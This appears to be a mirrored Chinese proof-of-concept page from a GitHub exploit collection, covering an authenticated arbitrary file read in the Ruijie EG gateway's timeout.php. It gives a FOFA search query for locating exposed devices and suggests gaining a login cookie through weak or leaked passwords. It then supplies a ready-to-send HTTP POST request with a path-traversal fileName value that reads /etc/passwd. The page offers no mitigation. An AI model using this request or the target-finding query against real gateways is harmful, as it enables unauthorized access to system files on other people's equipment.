mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 23:14:52 +08:00
47 lines
1.8 KiB
Markdown
47 lines
1.8 KiB
Markdown
|
|
# 锐捷EG易网关timeout.php后台任意文件读取漏洞
|
||
|
|
|
||
|
|
**<font style="color:rgb(38, 38, 38);">一、漏洞简介</font>**
|
||
|
|
|
||
|
|
<font style="color:rgb(38, 38, 38);">锐捷EG易网关timeout.php后台任意文件读取漏洞 </font>
|
||
|
|
|
||
|
|
**<font style="color:rgb(38, 38, 38);">二、影响版本</font>**
|
||
|
|
|
||
|
|
锐捷 EG易网关
|
||
|
|
**<font style="color:rgb(38, 38, 38);">三、资产测绘</font>**
|
||
|
|
<font style="color:rgb(38, 38, 38);">●登录页面</font>
|
||
|
|
|
||
|
|
<font style="color:rgb(38, 38, 38);">fofa:</font>`app="Ruijie-EG易网关" `
|
||
|
|
|
||
|
|

|
||
|
|
|
||
|
|

|
||
|
|
|
||
|
|
|
||
|
|
**<font style="color:rgb(38, 38, 38);">四、漏洞复现</font>**
|
||
|
|
1通过弱口令或账号密码泄露漏洞登录后台获取cookie
|
||
|
|
|
||
|
|
|
||
|
|

|
||
|
|
|
||
|
|
2通过上一步获取的cookie执行命令
|
||
|
|
|
||
|
|
```plain
|
||
|
|
POST /system_pi/timeout.php?a=getFile HTTP/1.1
|
||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=bnrul7jabde55u5moo2a4q57a0; helpKey=home_sys;user=admin
|
||
|
|
X-Requested-With: XMLHttpRequest
|
||
|
|
Host:
|
||
|
|
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
|
||
|
|
Connection: close
|
||
|
|
Content-Length: 22
|
||
|
|
|
||
|
|
fileName=../etc/passwd
|
||
|
|
```
|
||
|
|
|
||
|
|

|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
> 更新: 2024-06-24 11:42:25
|
||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/oyykknetnegphzzm>
|